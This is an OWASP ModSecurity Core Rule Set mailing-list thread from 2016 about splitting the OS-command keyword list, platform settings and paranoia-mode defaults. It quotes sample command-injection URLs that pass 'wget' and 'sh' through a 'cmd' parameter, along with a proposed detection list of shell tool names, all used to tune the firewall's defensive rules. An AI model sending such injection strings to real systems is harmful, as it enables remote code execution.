Chaim,

That issues idea makes sense. I second that.

Cheers,

Christian

On Mon, Feb 22, 2016 at 02:41:38PM +0000, Chaim Sanders wrote:
> I think a todo file or issues in the github are in order. I’m more in
> favor of the second. I can make a custom label for each specific area if
> we need. I think that will perform better because we can assign things and
> track people progress etc. thoughts?
> 
> On 2/18/16, 4:49 AM,
> "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of
> Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org
> on behalf of christian.fol...@netnea.com> wrote:
> 
> >Hello,
> >
> >That is a smart move. It allows us to eliminate all "file splitting"
> >tasks out of the paranoia mode project. Simplifies things a lot.
> >
> >@Chaim want to start a TODO file in the top folder of the CRS?
> >
> >Ahoj,
> >
> >Christian
> >
> >On Wed, Feb 17, 2016 at 09:05:52PM +0100, Franziska Buehler wrote:
> >> Hi,
> >>
> >> I also like the idea of splitting the file. Perhaps we even need
> >>multiple files.
> >> Walter has a lot of good thougts!
> >> This task doesn't seem to be very easy and some testing will be
> >>necessary.
> >> So I think we have to decide later, outside of this little project,
> >> and we should move on to the first pull request.
> >>
> >> Regards,
> >> Franziska
> >>
> >> 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>:
> >> > For the record I think this is a good idea but perhaps outside the
> >>scope a
> >> > bit of the initial RC release. Christian, I suggest we add this to the
> >> > To-do for 3.1. Thoughts?
> >> >
> >> > On 2/12/16, 4:17 PM,
> >> > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of
> >> > Christian Folini"
> >><owasp-modsecurity-core-rule-set-boun...@lists.owasp.org
> >> > on behalf of christian.fol...@netnea.com> wrote:
> >> >
> >> >>Hi there,
> >> >>
> >> >>There has not been any additional feedback in this thread, but I think
> >> >>the question is not settled as of this writing.
> >> >>
> >> >>Thoughts?
> >> >>
> >> >>Regs,
> >> >>
> >> >>Christian
> >> >>
> >> >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote:
> >> >>> Hi there,
> >> >>>
> >> >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote:
> >> >>> > I like the idea of splitting the file.
> >> >>>
> >> >>> Cool.
> >> >>>
> >> >>> > I agree some of the words in os-commands.data seem rather
> >>paranoid.
> >> >>>Words like "choice", "help", "now² seem of low value and are common
> >>in
> >> >>>natural text. Also, the large number of Unix-only environments could
> >> >>>skip Windows related commands. It¹s hard for users to modify these
> >>lists
> >> >>>as you¹d have to hack the CRS, and these huge collections are to
> >> >>>maintain anyhow, so I agree we need granularity.
> >> >>>
> >> >>> Good point.
> >> >>>
> >> >>> > The rule has some regexp magic to prevent false positives, but the
> >> >>>balance is not a complete success in my opinion. For instance, the
> >> >>>following URLs don't trigger in CRSv3:
> >> >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt
> >> >>> > http://vuln/?cmd=sh%20blah.txt
> >> >>> >
> >> >>> > So it's not as strong as you would want either to prevent some
> >>common
> >> >>>RCE.
> >> >>> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo
> >> >>>does trigger it.
> >> >>>
> >> >>> I see. Good observations.
> >> >>>
> >> >>> > 1) I think that a user should check their desired platforms in the
> >> >>>setup conf. In fact, this would be great to do anyway in the initial
> >> >>>3.0.0 release even if we DON'T look at it in any rule yet. Specifying
> >> >>>platform types will pave the way for reducing false positives and
> >>false
> >> >>>negatives by skipping unnecessary checks and being more strict on the
> >> >>>right platforms. So we could start by listing these platforms in the
> >> >>>existing rule in the setup conf. Example:
> >> >>> >
> >> >>> >    SecAction \
> >> >>> >      "id:'900024', \
> >> >>> >      phase:1, \
> >> >>> >      t:none, \
> >> >>> >      setvar:tx.unix=1, \
> >> >>> >      setvar:tx.windows=1, \
> >> >>> >      setvar:tx.java=1, \
> >> >>> >      setvar:tx.php=1, \
> >> >>>
> >> >>> That makes a lot of sense. At first sight.
> >> >>>
> >> >>> I think that a default install should come with these rulesets
> >> >>> all enabled and a sysadmin can then switch them of if we is aware
> >>that
> >> >>> there is no php in his service.
> >> >>>
> >> >>> So given the following two scenarios
> >> >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false
> >> >>>positives
> >> >>>     because he does not disable unneeded rulesets
> >> >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he does
> >>not
> >> >>>enable
> >> >>>     the php protection
> >> >>> I strongly favour #1.
> >> >>>
> >> >>> A vanilla install of the core rules should give you a full coverage
> >>for
> >> >>>all
> >> >>> types of services and a decent security level. Reducing false
> >>positives
> >> >>>by
> >> >>> omitting certain rules (ideally rules which provide no value for
> >>your
> >> >>>setup)
> >> >>> is the very idea of tuning.
> >> >>> Reducing the initial number of false positives by moving certain
> >>rules
> >> >>> with a worse relationsship between added security and false
> >>positives,
> >> >>> that is the idea of the paranoia mode.
> >> >>>
> >> >>> Chaim stated in a different message, that the rules are now
> >>organised
> >> >>> into files aimed at certain environments. So switching them off is
> >> >>> fairly easy. And there are the tags on top of it.
> >> >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will
> >> >>> disable them all very easily.
> >> >>>
> >> >>> So I think, we do not need these variables.
> >> >>>
> >> >>> > (By the way: I think it¹s unfortunate that a user has to use
> >>value 1
> >> >>>to enable a check. An undefined variable will mean that the CRS will
> >> >>>skip some rules. This makes it dangerous to introduce a new variable
> >>in
> >> >>>the CRS later; all existing installations MUST then add this
> >>variable to
> >> >>>their setup rule immediately, or suffer from reduced security. It¹s
> >> >>>better to use a scheme that defaults to ³on². A convention like
> >> >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we
> >> >>>could check for an explicit ³off² string, e.g.
> >>³setvar:tx.mysql=off². If
> >> >>>it¹s not ³off² then assume that the user DOES want the check. I think
> >> >>>it¹s important to get this right in 3.0.0, it will be more painful
> >>to do
> >> >>>it later.)
> >> >>>
> >> >>> That's a very good observation. I had a similar idea once.
> >> >>>
> >> >>> In programming, you usually start with a default value and then
> >> >>> the users overrides the default value. If he wants to.
> >> >>>
> >> >>> I am not sure how modsecurity_crs_10_setup.conf.example is going to
> >> >>> be transformed to work seamlessly with 3.0. But this makes the
> >> >>> setting of default values a bit tricky.
> >> >>>
> >> >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values
> >> >>> if certain variables are not set.
> >> >>>
> >> >>> > 2) Separate the words into multiple lists:
> >> >>> >    os-commands-critical.data (absolute red flag list: "curl",
> >>"passwd",
> >> >>>"sh", "uname", "wget" etc.)
> >> >>> >    os-commands-paranoid.data (absolute low value, but high FP
> >>natural
> >> >>>words like "choice")
> >> >>> >    os-commands-windows.data (all Windows commands)
> >> >>> >    os-commands-common.data (all other commands)
> >> >>>
> >> >>> Makes some sense. Too granular is difficult and you mix various
> >> >>> grouping criteria (criticality, paranoia, os), which makes is a
> >> >>> bit hard to follow.
> >> >>>
> >> >>> Other opinions?
> >> >>>
> >> >>> > 3) Review the current regexp against some test data and CRSv2 to
> >>make
> >> >>>it more sensitive
> >> >>>
> >> >>> Good plan. Maybe this could be done in a separate pull request.
> >> >>> I am afraid to overload the paranoia mode pull request...
> >> >>>
> >> >>> Ahoj,
> >> >>>
> >> >>> Christian
> >> >>>
> >> >>>
> >> >>> --
> >> >>> In war you will generally find that the enemy has at any time
> >> >>> three courses of action open to him. Of those three, he will
> >> >>> invariably choose the fourth.
> >> >>> -- Helmuth Von Moltke
> >> >>> _______________________________________________
> >> >>> Owasp-modsecurity-core-rule-set mailing list
> >> >>> Owasp-modsecurity-core-rule-set@lists.owasp.org
> >> >>>
> >>
> >>>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0me
> >>>>>OIn
> >>
> >>>>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo
> >>>>>%2f
> >> >>>owasp-modsecurity-core-rule-set
> >> >>
> >> >>--
> >> >>mailto:christian.fol...@netnea.com
> >>
> >>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meO
> >>>>Inu
> >> >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech
> >> >>twitter: @ChrFolini
> >> >>_______________________________________________
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> >> >>Owasp-modsecurity-core-rule-set@lists.owasp.org
> >>
> >>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meO
> >>>>Inu
> >>
> >>>>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2
> >>>>fow
> >> >>asp-modsecurity-core-rule-set
> >> >
> >> >
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> >--
> >mailto:christian.fol...@netnea.com
> >http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmKE
> >YIczjUmg&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech
> >twitter: @ChrFolini
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